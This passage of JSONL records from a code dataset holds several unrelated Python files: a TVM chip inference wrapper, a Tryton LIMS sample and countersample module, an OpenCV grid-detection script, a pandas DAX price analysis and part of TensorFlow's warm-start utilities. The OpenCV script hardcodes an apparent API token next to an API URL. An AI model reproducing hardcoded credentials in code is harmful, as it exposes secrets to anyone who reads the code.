\"sdk_iss\"\n\n        self.sdk = None\n\n    def load(self, model_path):\n        if not os.path.exists(model_path):\n            logger.error(\"Not found net_cfg_file -> {}\".format(model_path))\n            exit(-1)\n        self.result_dir = os.path.join(os.path.dirname(model_path), \"result\")\n\n        if self.enable_dump and self.backend == \"sdk_iss\":\n            logger.warning(\"ISS mode not support dump server, will be disable\")\n\n        try:\n            import tvm\n            import tvm.rpc\n            import dcl\n            from dcl.desdk import DumpProfileSel\n\n            logger.info(\"Try to connect to {}:{}\".format(self.ip, self.port))\n            remote = tvm.rpc.connect(self.ip, self.port)\n            logger.info(\"connection succeed.\")\n\n            self.sdk = dcl.DeSDKModule(remote)\n            logger.info(\"tyhcp version: {}\".format(self.sdk.version))\n\n            if self.enable_dump == 1 and self.backend != \"sdk_iss\":\n                self.sdk.select_dump_profile(DumpProfileSel.Dump)\n                dump_server_ip = os.getenv(\"DUMP_SERVER_IP\")\n                dump_server_port = os.getenv(\"DUMP_SERVER_PORT\")\n                self.sdk.set_dump_server_ip(dump_server_ip, int(dump_server_port))\n            else:\n                self.sdk.select_dump_profile(DumpProfileSel.Profile)\n\n            logger.info(\"sdk config path: {}\".format(self.sdk_cfg_file))\n            self.sdk.sdk_init(self.sdk_cfg_file)\n            logger.info(\"tyhcp init succeed.\")\n        except Exception as e:\n            logger.error(\"load failed -> {}\".format(e))\n            exit(-1)\n\n        if self.enable_dump == 1 and self.backend != \"sdk_iss\":\n            if not os.path.exists(self.result_dir):\n                logger.error(\"Not found result_dir -> {}\".format(self.result_dir))\n                exit(-1)\n            self.dump_root_path = self.sdk.set_dump_work_path(os.path.abspath(self.result_dir))\n            logger.info(\"dump root path: {}\".format(self.dump_root_path))\n        logger.info(\"sdk config: {}\".format(self.sdk.get_sdk_config()))\n\n        logger.info(\"load model \" + model_path)\n\n        if not self.enable_aipp:\n            self.sdk.disable_aipp()\n\n        max_batch = 1\n        self.engine = self.sdk.create_model(max_batch)\n        self.engine.load_model(model_path)\n        logger.info(self.engine.get_model_info())\n\n    def set_input_enable_aipps(self, input_enable_aipps):\n        \"\"\"设置传入每个输入的aipp使能情况，支持进行aipp推理\"\"\"\n        self.input_enable_aipps = input_enable_aipps\n\n    def set_input_pixel_format(self, pixel_format: list):\n        \"\"\"设置每个输入的像素格式，支持进行aipp推理\"\"\"\n        self.input_pixel_formats = pixel_format\n\n    @property\n    def ave_latency_ms(self):\n        if self.enable_dump:\n            logger.warning(\"Not support dump inference time, while enable_dump\")\n            return 0\n        if self.total == 0:\n            return 0\n        return self.time_span / self.total\n\n    def run(self, in_datas: dict, to_file=False):\n        if isinstance(in_datas, dict):\n            in_datas = [in_datas[key] for key in in_datas]  # to list\n        for idx, in_data in enumerate(in_datas):\n            if self.enable_aipp and self.input_enable_aipps[idx]:\n                shape = in_data.shape\n                h = shape[2]\n                w = shape[3]\n                if shape[1] == 3:\n                    image_format = 70 if self.input_pixel_formats[idx] == \"RGB\" else 71\n                elif shape[1] == 1:\n                    image_format = 0\n                else:\n                    logger.error(\"Not support image shape -> {}\".format(shape))\n                    exit(-1)\n                self.engine.set_aipp(batch_idx=0, input_idx=idx, image_format=image_format, image_size=[w, h])\n            self.engine.set_input(0, idx, in_data.copy())\n\n        self.engine.run()\n        self.engine.clear_input_data(0, 0)  # 第二个参数未使用\n\n        outputs = list()\n        for idx in range(self.engine.get_num_outputs()):\n            outputs.append(self.engine.get_output(0, idx).numpy())\n\n        self.total += 1\n        chip_cost = self.engine.get_profile_result()[\"last_model_exec_time\"] * 0.001\n        self.time_span += chip_cost\n\n        # dump输出\n        if to_file:\n            logger.info(\"[{}] predict result: outputs size -> {}\".format(self.backend, self.engine.get_num_outputs()))\n            for idx, output in enumerate(outputs):\n                logger.info(\"outputs[{}], shape={}, dtype={}\".format(idx, output.shape, output.dtype))\n                filepath_txt = os.path.join(self.result_dir, \"{}_fixed_out_{}.txt\".format(self.backend, idx))\n                filepath_bin = os.path.join(self.result_dir, \"{}_fixed_out_{}.bin\".format(self.backend, idx))\n                output.tofile(filepath_txt, sep=\"\\n\")\n                output.tofile(filepath_bin)\n                logger.info(\"save {}_fixed_output[{}] to {}\".format(self.backend, idx, filepath_txt))\n                logger.info(\"save {}_fixed_output[{}] to {}\".format(self.backend, idx, filepath_bin))\n        return outputs\n\n    def unload(self):\n        if self.engine:\n            self.engine.unload_model()\n            logger.info(\"unload model\")\n            self.engine = None\n        if self.sdk:\n            self.sdk.sdk_finalize()\n            self.sdk = None\n\n    def compare_layer_out(self):\n        model_name = \"opt_ir\"\n        src = os.path.join(self.dump_root_path, model_name)\n        if not os.path.exists(src):\n            logger.error(\"Not found model dump path -> {}\".format(src))\n            return\n\n        chip_dump_out = os.path.join(self.result_dir, \"chip_dump_out\")\n        if os.path.exists(chip_dump_out):\n            shutil.rmtree(chip_dump_out)\n        logger.info(\"cp {} -> {}\".format(src, chip_dump_out))\n        shutil.copytree(src, chip_dump_out)\n\n        iss_fixed_dump_out = os.path.join(self.result_dir, \"iss_fused_out.pickle\")\n        cpu_fixed_dump_out = os.path.join(self.result_dir, \"cpu_fused_out.pickle\")\n        if not os.path.join(iss_fixed_dump_out):\n            logger.error(\"Not found iss_fixed_dump_out -> {}\".format(iss_fixed_dump_out))\n            exit(-1)\n        if not os.path.join(cpu_fixed_dump_out):\n            logger.error(\"Not found cpu_fixed_dump_out -> {}\".format(cpu_fixed_dump_out))\n            exit(-1)\n        logger.info(\"Layer compare ==> tvm[fixed]  vs iss[fixed]  vs chip[fixed] \")\n        compare_dump_out(chip_dump_out, iss_fixed_dump_out, cpu_fixed_dump_out)\n\n        tvm_fixed_dump_out = os.path.join(self.result_dir, \"quant\", \"output_tensors.params\")\n        if not os.path.exists(tvm_fixed_dump_out):\n            logger.warning(\"Not found tvm_fixed_dump_out -> {}\".format(tvm_fixed_dump_out))\n            tvm_fixed_dump_out = None\n        tvm_fp32_dump_out = os.path.join(self.result_dir, \"fp32\", \"output_tensors.params\")\n        if not os.path.exists(tvm_fp32_dump_out):\n            logger.warning(\"Not found tvm_fp32_dump_out -> {}\".format(tvm_fp32_dump_out))\n            tvm_fp32_dump_out = None\n        if tvm_fp32_dump_out and tvm_fixed_dump_out:\n            logger.info(\"Layer compare ==> tvm[fixed] vs tvm[float]\")\n            compare_dump_out2(tvm_fp32_dump_out, tvm_fixed_dump_out)\n\n    def __del__(self):\n        self.unload()\n\n\nclass Nnp3xxTvmInfer(BaseInfer, ABC):\n    def __init__(self):\n        super().__init__()\n        self.backend = \"tvm\"\n        self.input_names = list()\n\n    def load_json(self, model_path):\n        import tvm\n        from tvm import relay\n        logger.info(\"loading model -> {}\".format(model_path))\n        relay_func = tvm.relay.quantization.get_ir_from_json(model_path)\n        self.engine = Nnp3xxTyExec.build_x86_64(relay_func, {}, self.target)\n        logger.info(\"load success\")\n\n    def load(self, model_path):\n        raise NotImplementedError\n\n    def set_input_names(self, input_names: list):\n        self.input_names = input_names\n\n    def run(self, in_datas: dict, to_file=False):\n        if not isinstance(in_datas, dict):\n            _in_datas = dict()\n            for idx, input_name in enumerate(self.input_names):\n                _in_datas[input_name] = in_datas[idx]\n            in_datas = _in_datas\n        self.total += 1\n        t_start = time.time()\n        self.engine.set_input(**in_datas)\n        self.engine.run()\n        outputs = list()\n        for idx in range(self.engine.get_num_outputs()):\n            outputs.append(self.engine.get_output(idx).asnumpy())\n        self.time_span += (time.time() - t_start) * 1000\n        return outputs\n\n","repo_name":"OMG59E/tyassist","sub_path":"src/nnp3xx_infer.py","file_name":"nnp3xx_infer.py","file_ext":"py","file_size_in_byte":9976,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"32171625597","text":"from datetime import datetime\nfrom dateutil.relativedelta import relativedelta\n\nfrom trytond.model import fields, ModelView\nfrom trytond.wizard import Wizard, StateView, StateTransition, StateAction, \\\n    StateReport, Button\nfrom trytond.pool import Pool, PoolMeta\nfrom trytond.transaction import Transaction\nfrom trytond.pyson import PYSONEncoder, Bool, Not, Eval\nfrom trytond.report import Report\nfrom trytond.exceptions import UserError\nfrom trytond.i18n import gettext\n\n\nclass LabWorkYear(metaclass=PoolMeta):\n    __name__ = 'lims.lab.workyear'\n\n    default_entry_quality = fields.Many2One('lims.entry',\n        'Default entry quality')\n\n\nclass Fraction(metaclass=PoolMeta):\n    __name__ = 'lims.fraction'\n\n    def _get_stock_move(self):\n        move = super()._get_stock_move()\n        if self.sample.quality:\n            move.product = self.sample.lot.product.id\n            move.lot = self.sample.lot.id\n        return move\n\n\nclass Sample(metaclass=PoolMeta):\n    __name__ = 'lims.sample'\n\n    quality = fields.Boolean('Quality')\n    lot = fields.Many2One('stock.lot', 'Lot', readonly=True)\n    test_state = fields.Selection([\n        ('pending', 'Pending'),\n        ('done', 'Done'),\n        ('countersample', 'Countersample'),\n        ], 'Test State', readonly=True)\n    product = fields.Function(fields.Many2One('product.product',\n        'Product'), 'on_change_with_product', searcher='search_product')\n    quality_test = fields.Many2One('lims.quality.test', 'Test', readonly=True)\n    countersample_original_sample = fields.Many2One('lims.sample',\n        'Countersample Original sample', readonly=True,\n        states={'invisible': Not(Bool(Eval('countersample_original_sample')))})\n    countersamples = fields.One2Many('lims.sample',\n        'countersample_original_sample', 'Countersamples', readonly=True)\n    countersample = fields.Function(fields.Many2One('lims.sample',\n        'Countersample'), 'get_countersample')\n\n    @staticmethod\n    def default_test_state():\n        return 'pending'\n\n    @fields.depends('lot')\n    def on_change_with_product(self, name=None):\n        if self.lot:\n            return self.lot.product.id\n\n    @classmethod\n    def search_product(cls, name, clause):\n        return [('lot.' + name,) + tuple(clause[1:])]\n\n    @fields.depends('countersamples')\n    def get_countersample(self, name):\n        if self.countersamples:\n            return self.countersamples[0].id\n\n\nclass TakeSampleStart(ModelView):\n    'Take Sample Start'\n    __name__ = 'lims.take.sample.start'\n\n    date = fields.Date('Date', required=True)\n    label = fields.Char('Label', required=True)\n    attributes = fields.Dict('lims.sample.attribute', 'Attributes')\n    sample = fields.Many2One('lims.sample', 'Sample')\n\n    @staticmethod\n    def default_date():\n        Date = Pool().get('ir.date')\n        return Date.today()\n\n\nclass TakeSampleResult(ModelView):\n    'Take Sample Result'\n    __name__ = 'lims.take.sample.result'\n\n    message = fields.Text('Message', readonly=True)\n\n\nclass TakeSample(Wizard):\n    'Take Sample'\n    __name__ = 'lims.take.sample'\n\n    start = StateView('lims.take.sample.start',\n        'lims_quality_control.lims_take_sample_start_view_form', [\n            Button('Cancel', 'end', 'tryton-cancel'),\n            Button('Confirm', 'confirm', 'tryton-ok', default=True),\n            ])\n    confirm = StateTransition()\n    result = StateView('lims.take.sample.result',\n        'lims_quality_control.lims_take_sample_result_view_form', [\n            Button('Close', 'end', 'tryton-cancel'),\n            Button('Print', 'print_', 'tryton-print', default=True),\n            ])\n    print_ = StateReport('lims.sample.labels.report')\n\n    def transition_confirm(self):\n        self.start.sample = self.create_sample()\n        return 'result'\n\n    def create_sample(self):\n        pool = Pool()\n        Config = pool.get('lims.configuration')\n        QualityConfig = pool.get('lims.quality.configuration')\n        Lot = pool.get('stock.lot')\n        LabWorkYear = pool.get('lims.lab.workyear')\n        Entry = pool.get('lims.entry')\n        Sample = pool.get('lims.sample')\n        Fraction = pool.get('lims.fraction')\n\n        lot = Lot(Transaction().context.get('active_id'))\n        if not lot.product.template.product_type:\n            raise UserError(gettext('lims.msg_no_product_product_type'))\n        if not lot.product.template.matrix:\n            raise UserError(gettext('lims.msg_no_product_matrix'))\n\n        config = Config(1)\n        if not config.qc_fraction_type:\n            raise UserError(gettext(\n                'lims_quality_control.msg_no_qc_fraction_type'))\n        fraction_type = config.qc_fraction_type\n        if (not fraction_type.default_package_type or\n                not fraction_type.default_fraction_state):\n            raise UserError(gettext(\n                'lims_quality_control.msg_no_qc_default_configuration'))\n\n        quality_config = QualityConfig(1)\n\n        workyear_id = LabWorkYear.find()\n        workyear = LabWorkYear(workyear_id)\n        if not workyear.default_entry_quality:\n            raise UserError(gettext(\n                'lims_quality_control.msg_no_entry_quality'))\n\n        entry = Entry(workyear.default_entry_quality.id)\n        if not entry.party.entry_zone and config.zone_required:\n            raise UserError(gettext('lims.msg_no_party_zone',\n                party=entry.party.rec_name))\n        zone_id = entry.party.entry_zone and entry.party.entry_zone.id or None\n\n        obj_description = self._get_obj_description(lot.product)\n\n        # new sample\n        new_sample, = Sample.create([{\n            'quality': True,\n            'lot': lot.id,\n            'attributes': self.start.attributes,\n            'entry': entry.id,\n            'party': entry.party.id,\n            'date': datetime.now(),\n            'product_type': lot.product.template.product_type.id,\n            'matrix': lot.product.template.matrix.id,\n            'zone': zone_id,\n            'label': self.start.label,\n            'obj_description': obj_description,\n            'packages': [('create', [{\n                'quantity': 1,\n                'type': fraction_type.default_package_type.id,\n                'state': fraction_type.default_fraction_state.id,\n                }])],\n            'fractions': [],\n            }])\n\n        # new fraction\n        fraction_default = {\n            'sample': new_sample.id,\n            'type': fraction_type.id,\n            'storage_location': quality_config.sample_location.id,\n            'services': [],\n            }\n        if fraction_type.max_storage_time:\n            fraction_default['storage_time'] = fraction_type.max_storage_time\n        elif quality_config.sample_location.storage_time:\n            fraction_default['storage_time'] = (\n                quality_config.sample_location.storage_time)\n        else:\n            fraction_default['storage_time'] = 3\n        new_fraction, = Fraction.create([fraction_default])\n\n        return new_sample\n\n    def _get_obj_description(self, product):\n        cursor = Transaction().connection.cursor()\n        ObjectiveDescription = Pool().get('lims.objective_description')\n\n        cursor.execute('SELECT id '\n            'FROM \"' + ObjectiveDescription._table + '\" '\n            'WHERE product_type = %s '\n                'AND matrix = %s',\n            (product.template.product_type.id, product.template.matrix.id))\n        res = cursor.fetchone()\n        return res and res[0] or None\n\n    def default_result(self, fields):\n        default = {'message': '%s: %s' % (\n            gettext('lims_quality_control.msg_sample_created'),\n            self.start.sample.number)}\n        return default\n\n    def do_print_(self, action):\n        data = {\n            'sample': self.start.sample.id,\n            }\n        return action, data\n\n    def transition_print_(self):\n        return 'end'\n\n\nclass CountersampleCreateStart(ModelView):\n    'Countersample Create Start'\n    __name__ = 'lims.countersample.create.start'\n\n    location = fields.Many2One('stock.location', 'Location', required=True)\n    quantity = fields.Float('Quantity', required=True)\n    unit = fields.Many2One('product.uom', 'UoM', required=True,\n        domain=[\n            ('category', '=', Eval('product_uom_category')),\n            ('factor', '<=', Eval('product_factor')),\n            ])\n    product_uom_category = fields.Many2One('product.uom.category',\n        'Product Uom Category')\n    product_factor = fields.Float(\"Factor\", digits=(12, 12))\n    comments = fields.Text('Comments')\n    countersamples = fields.Many2Many(\n        'lims.sample', None, None, 'Countersamples')\n\n\nclass CountersampleCreate(Wizard):\n    'Countersample Create'\n    __name__ = 'lims.countersample.create'\n\n    start = StateTransition()\n    ask = StateView('lims.countersample.create.start',\n        'lims_quality_control.lims_countersample_create_start_view_form', [\n            Button('Cancel', 'end', 'tryton-cancel'),\n            Button('Create', 'create_', 'tryton-ok', default=True),\n            ])\n    create_ = StateTransition()\n    open_ = StateAction('lims_quality_control.act_lims_sample_list')\n\n    def default_ask(self, fields):\n        Sample = Pool().get('lims.sample')\n        res = {}\n        sample = Sample(Transaction().context['active_id'])\n        res['product_uom_category'] = sample.product.default_uom_category.id\n        res['product_factor'] = sample.product.default_uom.factor\n        return res\n\n    def transition_start(self):\n        Sample = Pool().get('lims.sample')\n\n        if not Transaction().context['active_ids']:\n            raise UserError(gettext(\n                    'lims_quality_control.msg_records_not_selected'))\n\n        samples = Sample.browse(Transaction().context['active_ids'])\n        for sample in samples:\n            if sample.test_state != 'done':\n                raise UserError(gettext(\n                        'lims_quality_control.msg_not_test_sample'))\n            if sample.countersample:\n                raise UserError(gettext(\n                        'lims_quality_control.msg_has_countersample'))\n        return 'ask'\n\n    def transition_create_(self):\n        countersamples = self.create_countersample()\n        self.ask.countersamples = [sample.id for sample in countersamples]\n        return 'open_'\n\n    def create_countersample(self):\n        pool = Pool()\n        Sample = pool.get('lims.sample')\n        Fraction = pool.get('lims.fraction')\n        Move = pool.get('stock.move')\n        Date = pool.get('ir.date')\n\n        samples = Sample.browse(Transaction().context.get('active_ids'))\n\n        countersamples = []\n        for sample in samples:\n\n            # new countersample\n            new_countersample, = Sample.create([{\n                'quality': True,\n                'lot': sample.lot.id,\n                'attributes': sample.attributes,\n                'entry': sample.entry.id,\n                'party': sample.party.id,\n                'date': datetime.now(),\n                'product_type': sample.product_type.id,\n                'matrix': sample.matrix.id,\n                'zone': sample.zone and sample.zone.id or None,\n                'label': sample.label,\n                'obj_description': sample.obj_description,\n                'packages': [('create', [{\n                    'quantity': p.quantity,\n                    'type': p.type.id,\n                    'state': p.state.id,\n                    } for p in sample.packages])],\n                'countersample_original_sample': sample.id,\n                'test_state': 'countersample',\n                'comments': self.ask.comments,\n                'fractions': [],\n                }])\n\n            # new fraction\n            fraction_default = {\n                'sample': new_countersample.id,\n                'type': sample.fractions[0].type.id,\n                'storage_location': self.ask.location.id,\n                'storage_time': sample.fractions[0].storage_time,\n                'countersample_location': self.ask.location.id,\n                'countersample_date': Date.today(),\n                'expiry_date': Date.today() + relativedelta(\n                    months=sample.fractions[0].storage_time),\n                'services': [],\n                }\n            new_fraction, = Fraction.create([fraction_default])\n\n            moves = self._get_stock_moves([new_fraction],\n                self.ask.quantity, self.ask.unit)\n            Move.do(moves)\n            countersamples.append(new_countersample)\n\n        return countersamples\n\n    def do_open_(self, action):\n        action['pyson_domain'] = PYSONEncoder().encode([\n            ('id', 'in', [sample.id for sample in self.ask.countersamples]),\n            ])\n        action['views'].reverse()\n        return action, {\n            'res_id': [self.ask.countersamples[0].id],\n            }\n\n    def _get_stock_moves(self, fractions, quantity, unit):\n        pool = Pool()\n        User = pool.get('res.user')\n        Move = pool.get('stock.move')\n\n        company = User(Transaction().user).company\n\n        moves = []\n        for fraction in fractions:\n            with Transaction().set_user(0, set_context=True):\n                move = Move()\n            move.product = fraction.sample.lot.product.id\n            move.lot = fraction.sample.lot.id\n            move.fraction = fraction.id\n            move.quantity = quantity or 1\n            move.uom = unit\n            move.from_location = \\\n                fraction.sample.countersample_original_sample.fractions[\n                    0].storage_location.id\n            move.to_location = fraction.countersample_location.id\n            move.company = company\n            move.planned_date = fraction.countersample_date\n            move.origin = fraction\n            if move.on_change_with_unit_price_required():\n                move.unit_price = 0\n                move.currency = company.currency\n            move.state = 'draft'\n            move.save()\n            moves.append(move)\n        return moves\n\n\nclass SampleLabels(Report):\n    'Sample Labels'\n    __name__ = 'lims.sample.labels.report'\n\n    @classmethod\n    def get_context(cls, records, header, data):\n        Sample = Pool().get('lims.sample')\n\n        report_context = super().get_context(records, header, data)\n        labels = []\n        if data.get('sample'):\n            records = [Sample(data.get('sample'))]\n        for sample in records:\n            labels.append(sample)\n        report_context['labels'] = labels\n\n        return report_context\n","repo_name":"Kalenis/kalenislims","sub_path":"lims_quality_control/sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":14521,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"22"}
+{"seq_id":"34640246838","text":"import numpy as np\r\nimport cv2, imutils, argparse, copy\r\n\r\nfrom cvHelper_module import CVHelper\r\n\r\nshape_size = int(input())\r\n\r\nap = argparse.ArgumentParser()\r\n\r\nap.add_argument(\"--image\", \"--i\", required=True, help = \"Path to image.\")\r\n\r\nargs = vars(ap.parse_args())\r\n\r\nimage = cv2.imread(args[\"image\"])\r\n\r\nhelper = CVHelper(image, 'https://api.arstand-lab.ru/api/0/task/test_task/', '374270759c9852f00f667cb0308d2f8c2f600ec0')\r\n\r\nimage_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\r\n\r\nimage_thresh = cv2.adaptiveThreshold(image_gray, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY_INV, 15, 15)\r\n\r\ncv2.imshow(\"thresh\", image_thresh)\r\n\r\ncontours = cv2.findContours(image_thresh.copy(), cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\r\n\r\ncontours = imutils.grab_contours(contours)\r\n\r\nfield_pos = []\r\n\r\ndef sortPoints(field_pos):\r\n    x_points = {point[0]:point[1] for point in field_pos}\r\n    y_points = {point[1]:point[0] for point in field_pos}\r\n\r\n    x_min = sorted(x_points)[: 2]\r\n    y_min = sorted(y_points)[: 2]\r\n\r\n    x_max = sorted(x_points, reverse = True)[: 2]\r\n    y_max = sorted(y_points, reverse = True)[: 2]\r\n\r\n    l_top = list(set(map(lambda point: (point, x_points[point]), x_min)) & set(map(lambda point: (y_points[point], point), y_min)))[0]\r\n    r_top = list(set(map(lambda point: (point, x_points[point]), x_max)) & set(map(lambda point: (y_points[point], point), y_min)))[0]\r\n    l_bottom = list(set(map(lambda point: (point, x_points[point]), x_min)) & set(map(lambda point: (y_points[point], point), y_max)))[0]\r\n    r_bottom = list(set(map(lambda point: (point, x_points[point]), x_max)) & set(map(lambda point: (y_points[point], point), y_max)))[0]\r\n\r\n    return [l_top, r_top, l_bottom, r_bottom]\r\n\r\ndef deleteSamePoints(field_pos):\r\n    field_pos = sorted(field_pos, key = lambda point: point[1])\r\n    for pointIndex in range(len(field_pos)):\r\n        if (pointIndex + 1 <= len(field_pos) - 1 and abs(field_pos[pointIndex + 1][0] - field_pos[pointIndex][0]) <= 10 and abs(field_pos[pointIndex + 1][1] - field_pos[pointIndex][1]) <= 10):\r\n            del field_pos[pointIndex]\r\n    \r\n    return field_pos\r\n\r\ncontours = sorted(contours, key = cv2.contourArea, reverse = True)\r\n\r\nfor contour in contours:\r\n    perimeter = cv2.arcLength(contour, True)\r\n    approx = cv2.approxPolyDP(contour, 0.02 * perimeter, True)\r\n\r\n    if (len(approx) == shape_size):\r\n        moments = cv2.moments(contour)\r\n        center = (int(moments[\"m10\"] / moments[\"m00\"]), int(moments[\"m01\"] / moments[\"m00\"]))\r\n\r\n        if (center not in field_pos): field_pos.append(center)\r\n\r\nfield_pos = deleteSamePoints(field_pos)\r\nfield_pos = sortPoints(field_pos)\r\nprint(field_pos)\r\n\r\nfield, params = helper.createCursedGrid(field_pos, (800, 1000), (10, 8))\r\n\r\ncv2.imshow(\"field\", field)\r\ncv2.waitKey(0)","repo_name":"Egoluback/nti_ar_19-20","sub_path":"cvHelper_module/field_work.py","file_name":"field_work.py","file_ext":"py","file_size_in_byte":2793,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"3777645501","text":"\"\"\"module to import and analyse CSV File\n\"\"\"\nimport pandas as pd\nfrom pandas.core.frame import DataFrame\n\ndata:DataFrame = pd.read_csv('importData/DAX.csv',sep=\",\",parse_dates=[\"Date\"],header=0,decimal=\".\")\n\nOPEN_INFO = str( data[\"Open\"].describe(include='all'))\nCLOSE_INFO = str( data[\"Close\"].describe(include='all'))\n\nprint('----')\ndata['Weekday']= data[\"Date\"].dt.dayofweek\ndata['WeekandYear'] = data[\"Date\"].dt.weekofyear.astype(str) +data[\"Date\"].dt.year.astype(str)\ndata['Yearday']= data[\"Date\"].dt.dayofyear\n\ndf_m_f = data[(data[\"Weekday\"]== 0) |(data[\"Weekday\"]== 4)]\ndf_f = data[(data[\"Weekday\"]== 4)]\n\nif df_m_f[\"Weekday\"].head(1).values[0] != 2:\n    df_f = data[(data[\"Weekday\"]== 4)]\n    df_m = data[(data[\"Weekday\"]== 0)]\n\n    df_m = df_m.loc[:, ['Date','Open','Weekday','WeekandYear']]\n    print(df_m)\n    df_f = df_f.loc[:, ['Close','WeekandYear']]\n    result = df_f.set_index('WeekandYear').join(df_m.set_index('WeekandYear'))\n\n    result.set_index('Date')\n    result2 = result.loc[:, ['Date','Open','Close']]\n\n    result2['value']= result2['Open']/result2['Close'] - 1\n    result2.to_excel('export/output.xlsx', sheet_name='Sheet_name')\n","repo_name":"MRoettger/stocksVix","sub_path":"csv_analyser.py","file_name":"csv_analyser.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"28526904244","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport collections\nimport six\n\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.ops import resource_variable_ops\nfrom tensorflow.python.ops import state_ops\nfrom tensorflow.python.ops import variable_scope\nfrom tensorflow.python.ops import variables as variables_lib\nfrom tensorflow.python.platform import tf_logging as logging\nfrom tensorflow.python.training import checkpoint_ops\nfrom tensorflow.python.training import checkpoint_utils\nfrom tensorflow.python.training import saver\nfrom tensorflow.python.util.tf_export import tf_export\n\n\n@tf_export(\"train.VocabInfo\", \"estimator.VocabInfo\")\nclass VocabInfo(\n    collections.namedtuple(\"VocabInfo\", [\n        \"new_vocab\",\n        \"new_vocab_size\",\n        \"num_oov_buckets\",\n        \"old_vocab\",\n        \"old_vocab_size\",\n        \"backup_initializer\",\n    ])):\n  \"\"\"Vocabulary information for warm-starting.\n\n  See @{tf.estimator.WarmStartSettings$WarmStartSettings} for examples of using\n  VocabInfo to warm-start.\n\n  Attributes:\n    new_vocab: [Required] A path to the new vocabulary file (used with the\n      model to be trained).\n    new_vocab_size: [Required] An integer indicating how many entries of the new\n      vocabulary will used in training.\n    num_oov_buckets: [Required] An integer indicating how many OOV buckets are\n      associated with the vocabulary.\n    old_vocab: [Required] A path to the old vocabulary file (used with the\n      checkpoint to be warm-started from).\n    old_vocab_size: [Optional] An integer indicating how many entries of the old\n      vocabulary were used in the creation of the checkpoint. If not provided,\n      the entire old vocabulary will be used.\n    backup_initializer: [Optional] A variable initializer used for variables\n      corresponding to new vocabulary entries and OOV. If not provided, these\n      entries will be zero-initialized.\n  \"\"\"\n\n  def __new__(cls,\n              new_vocab,\n              new_vocab_size,\n              num_oov_buckets,\n              old_vocab,\n              old_vocab_size=-1,\n              backup_initializer=None):\n    return super(VocabInfo, cls).__new__(\n        cls,\n        new_vocab,\n        new_vocab_size,\n        num_oov_buckets,\n        old_vocab,\n        old_vocab_size,\n        backup_initializer,\n    )\n\n\ndef _is_variable(x):\n  return (isinstance(x, variables_lib.Variable) or\n          isinstance(x, resource_variable_ops.ResourceVariable))\n\n\ndef _infer_var_name(var):\n  \"\"\"Returns name of the `var`.\n\n  Args:\n    var: A list. The list can contain either of the following:\n      (i) A single `Variable`\n      (ii) A single `ResourceVariable`\n      (iii) Multiple `Variable` objects which must be slices of the same larger\n        variable.\n      (iv) A single `PartitionedVariable`\n\n  Returns:\n    Name of the `var`\n  \"\"\"\n  name_to_var_dict = saver.BaseSaverBuilder.OpListToDict(var)\n  if len(name_to_var_dict) > 1:\n    raise TypeError(\"`var` = %s passed as arg violates the constraints.  \"\n                    \"name_to_var_dict = %s\" % (var, name_to_var_dict))\n  return list(name_to_var_dict.keys())[0]\n\n\ndef _warm_start_var(var, prev_ckpt, prev_tensor_name=None):\n  \"\"\"Warm-starts given variable from `prev_tensor_name` tensor in `prev_ckpt`.\n\n  Args:\n    var: Current graph's variable that needs to be warm-started (initialized).\n      Can be either of the following:\n      (i) `Variable`\n      (ii) `ResourceVariable`\n      (iii) list of `Variable`: The list must contain slices of the same larger\n        variable.\n      (iv) `PartitionedVariable`\n    prev_ckpt: A string specifying the directory with checkpoint file(s) or path\n      to checkpoint. The given checkpoint must have tensor with name\n      `prev_tensor_name` (if not None) or tensor with name same as given `var`.\n    prev_tensor_name: Name of the tensor to lookup in provided `prev_ckpt`. If\n      None, we lookup tensor with same name as given `var`.\n  \"\"\"\n  if _is_variable(var):\n    current_var_name = _infer_var_name([var])\n  elif isinstance(var, list) and all(_is_variable(v) for v in var):\n    current_var_name = _infer_var_name(var)\n  elif isinstance(var, variables_lib.PartitionedVariable):\n    current_var_name = _infer_var_name([var])\n    var = var._get_variable_list()  # pylint: disable=protected-access\n  else:\n    raise TypeError(\n        \"var MUST be one of the following: a Variable, list of Variable or \"\n        \"PartitionedVariable, but is {}\".format(type(var)))\n  if not prev_tensor_name:\n    # Assume tensor name remains the same.\n    prev_tensor_name = current_var_name\n  checkpoint_utils.init_from_checkpoint(prev_ckpt, {prev_tensor_name: var})\n\n\n# pylint: disable=protected-access\n# Accesses protected members of tf.Variable to reset the variable's internal\n# state.\ndef _warm_start_var_with_vocab(var,\n                               current_vocab_path,\n                               current_vocab_size,\n                               prev_ckpt,\n                               prev_vocab_path,\n                               previous_vocab_size=-1,\n                               current_oov_buckets=0,\n                               prev_tensor_name=None,\n                               initializer=None):\n  \"\"\"Warm-starts given variable from `prev_tensor_name` tensor in `prev_ckpt`.\n\n  Use this method when the `var` is backed by vocabulary. This method stitches\n  the given `var` such that values corresponding to individual features in the\n  vocabulary remain consistent irrespective of changing order of the features\n  between old and new vocabularies.\n\n  Args:\n    var: Current graph's variable that needs to be warm-started (initialized).\n      Can be either of the following:\n      (i) `Variable`\n      (ii) `ResourceVariable`\n      (iii) list of `Variable`: The list must contain slices of the same larger\n        variable.\n      (iv) `PartitionedVariable`\n    current_vocab_path: Path to the vocab file used for the given `var`.\n    current_vocab_size: An `int` specifying the number of entries in the current\n      vocab.\n    prev_ckpt: A string specifying the directory with checkpoint file(s) or path\n      to checkpoint. The given checkpoint must have tensor with name\n      `prev_tensor_name` (if not None) or tensor with name same as given `var`.\n    prev_vocab_path: Path to the vocab file used for the tensor in `prev_ckpt`.\n    previous_vocab_size: If provided, will constrain previous vocab to the first\n      `previous_vocab_size` entries.  -1 means use the entire previous vocab.\n    current_oov_buckets: An `int` specifying the number of out-of-vocabulary\n      buckets used for given `var`.\n    prev_tensor_name: Name of the tensor to lookup in provided `prev_ckpt`. If\n      None, we lookup tensor with same name as given `var`.\n    initializer: Variable initializer to be used for missing entries.  